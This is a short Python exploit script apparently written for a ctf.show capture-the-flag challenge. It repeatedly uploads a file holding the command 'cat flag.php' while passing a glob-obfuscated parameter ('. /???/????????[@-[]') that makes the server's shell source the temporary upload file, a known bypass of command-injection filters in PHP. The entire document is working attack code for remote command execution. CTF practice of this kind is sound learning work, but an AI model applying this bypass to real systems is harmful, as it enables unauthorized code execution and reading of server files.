import requests

while True:
    url = "http://5d73990d-b604-43f3-9647-291b13f418f6.challenge.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('feng.txt', b'cat flag.php')})
    if r.text.find("flag") > 0:
        print(r.text)
        break
